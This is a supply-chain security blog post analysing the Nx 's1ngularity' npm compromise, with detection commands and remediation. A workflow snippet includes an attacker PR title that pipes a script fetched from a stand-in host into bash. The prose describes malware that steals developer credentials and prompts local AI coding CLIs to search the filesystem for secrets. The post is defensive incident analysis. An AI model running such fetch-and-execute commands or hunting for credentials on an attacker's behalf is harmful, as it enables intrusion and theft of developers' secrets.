Supply Chain

Nx s1ngularity: The First AI-Aware Supply Chain Worm

On August 26, 2025, malicious versions of Nx (20.9.0–21.8.0) harvested 2,349 credentials from 1,079 developers and weaponized Claude, Gemini, and Q CLIs to enumerate local secrets.

Nayan Dey
Security Engineer
6 min read

Nx is the monorepo build system behind some of the largest Angular and React workspaces in the industry, with 3.5 million weekly npm downloads. On August 26, 2025, between roughly 22:30 UTC and 02:30 UTC, an attacker published eight tampered Nx releases — 20.9.0, 20.10.0, 20.11.0, 21.5.0, 21.6.0, 21.7.0, 21.7.1, and 21.8.0 — along with malicious versions of related packages including @nx/devkit, @nx/js, @nx/eslint, @nx/key, @nx/node, @nx/workspace, and nx-cloud. The four-hour window was enough to seed a campaign Wiz called s1ngularity, and that the Nx team's own postmortem credits with being the first OSS worm explicitly aware of local LLM agent installations.

How did the attacker get publish rights?

A GitHub Actions workflow in the Nx repository accepted a pull request title and interpolated it into a shell script without sanitization — the classic pull_request_target injection pattern documented by Adnan Khan in 2024. A pull request with a title containing a backtick-escaped command was opened against the main branch, the workflow ran on the base-branch context with id-token: write permissions, and the injected payload exfiltrated NPM_PUBLISH_TOKEN from the runner's environment. The Nx team's postmortem identifies the exact merge that introduced the vulnerable script as a routine refactor of the publish pipeline; their CI had no pull_request_target linter and no required reviewers for workflow file changes from forks.

# Pattern of the vulnerable step (reconstructed)
- name: Validate PR title
  run: |
    echo "Title: ${{ github.event.pull_request.title }}"   # unquoted -> injection
    # attacker title: `; curl -s evil/i.sh | bash; #

What did the malware actually do?

The postinstall payload — a Node.js script with light obfuscation — performed five steps. It scanned the home directory for .gitconfig, .npmrc, SSH keys, AWS credentials, Google Cloud config, GitHub CLI tokens, and cryptocurrency wallet files. It then enumerated locally installed AI CLI tooling: the Anthropic Claude CLI, Google Gemini CLI, and Amazon Q CLI all store API tokens in predictable home-directory locations. It double-base64 encoded everything, prefixed it with a magic header, and pushed it to a new public GitHub repository on the victim's account named with the pattern s1ngularity-repository-<8-hex>. Finally — and this is the new behavior that gave the campaign its name — it invoked the LLM CLIs with prompts asking the model to grep the local filesystem for additional credentials, then exfiltrated the model's output to the same repo.

How big was the credential haul?

GitGuardian's analysis of the recovered s1ngularity repositories before GitHub took them down counted 2,349 unique credentials harvested from 1,079 developer or CI machines. More than 1,100 were still valid 24 hours after the IOC went public, which is consistent with the broader industry pattern of long-tail token rotation. The second wave on August 28 was operationally devastating: attackers used those stolen tokens to flip 10,767 private repositories to public visibility on the affected GitHub accounts, exposing an additional 82,901 secrets that the original repository owners had assumed were behind private access controls. Wiz tallied 190 organizations directly impacted and 3,000 repositories changed.

Why did the LLM CLI angle matter?

LLM-enabled developer machines store API keys with broad scope — Anthropic and OpenAI keys often carry both read and write access to entire workspaces, including paid usage that attackers can resell. The attack also showed that LLM CLIs can be coerced into doing recon work for the attacker: a prompt like "find every file in my home directory that looks like a private key or password" turns the developer's own AI tooling into a credential-discovery engine. The Nx malware did not exploit a vulnerability in Claude, Gemini, or Q — it used them as designed, which is precisely why this pattern is hard to defend against at the model layer.

# Detect s1ngularity-repository creation events in GitHub audit log
gh api -H "Accept: application/vnd.github+json" \
  "/orgs/YOUR_ORG/audit-log?phrase=action:repo.create+s1ngularity-repository" \
  --jq '.[] | {actor: .actor, repo: .repo, created_at: .created_at}'

# Lockfile detection for compromised Nx versions
grep -E '"nx":\s*"(20\.(9|10|11)|21\.(5|6|7|8))\.' package-lock.json

What did Nx and npm change after?

The Nx team's postmortem committed to four concrete fixes: every workflow that touches the publish token now requires manual approval from a maintainer, pull_request_target is banned outright in the repository, all maintainers moved to FIDO2 hardware keys with npm and GitHub, and Nx publishing now flows through GitHub OIDC trusted publishing rather than a long-lived npm token. npm itself accelerated trusted publishing as its default recommended path, deprecated TOTP-only 2FA in November 2025, and added a new abuse signal that quarantines packages publishing more than one major version per hour from an account that historically released monthly. GitHub's audit log now exposes repo.visibility_change as a first-class event so that mass private-to-public flips trigger SIEM alerts.

How does s1ngularity connect to later 2025 events?

The Shai-Hulud worm in September borrowed the public-repo exfiltration channel directly from s1ngularity, swapping the repo name from s1ngularity-repository-* to Shai-Hulud. The eslint-config-prettier compromise in July had already established the phishing-then-token-mint blueprint that Shai-Hulud and the Qix chalk/debug attack reused in September. By the time the Mini Shai-Hulud campaign hit TanStack in May 2026, the operators had layered on cache poisoning and OIDC token extraction — a clear evolutionary path from the s1ngularity playbook. Defenders who treated August 26 as a one-off rather than the opening shot of a year-long campaign found themselves replaying the same incident response every six weeks.

How Safeguard Helps

Safeguard scans .github/workflows/*.yml for the pull_request_target patterns Nx fell to, and Griffin AI flags any workflow that interpolates github.event.pull_request.title, body, or head_ref into a shell context without quoting. The npm provider plugin tracks publish-cadence anomalies — eight major releases in four hours from one account is exactly the signal that drives a new abuse-prevention rule. Policy gates enforce that production deployments only consume packages with valid Sigstore provenance bound to a known trusted publisher, blocking the long-lived NPM_TOKEN model the s1ngularity attacker abused. The malicious-package feed integrated the eight bad Nx versions and ten bad @nx/* versions within 90 minutes of the OSV publication, and TPRM workflows score every upstream OSS dependency against trusted-publishing adoption, FIDO2 enforcement, and pull_request_target exposure — surfacing the next Nx-class risk before it becomes the next s1ngularity.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.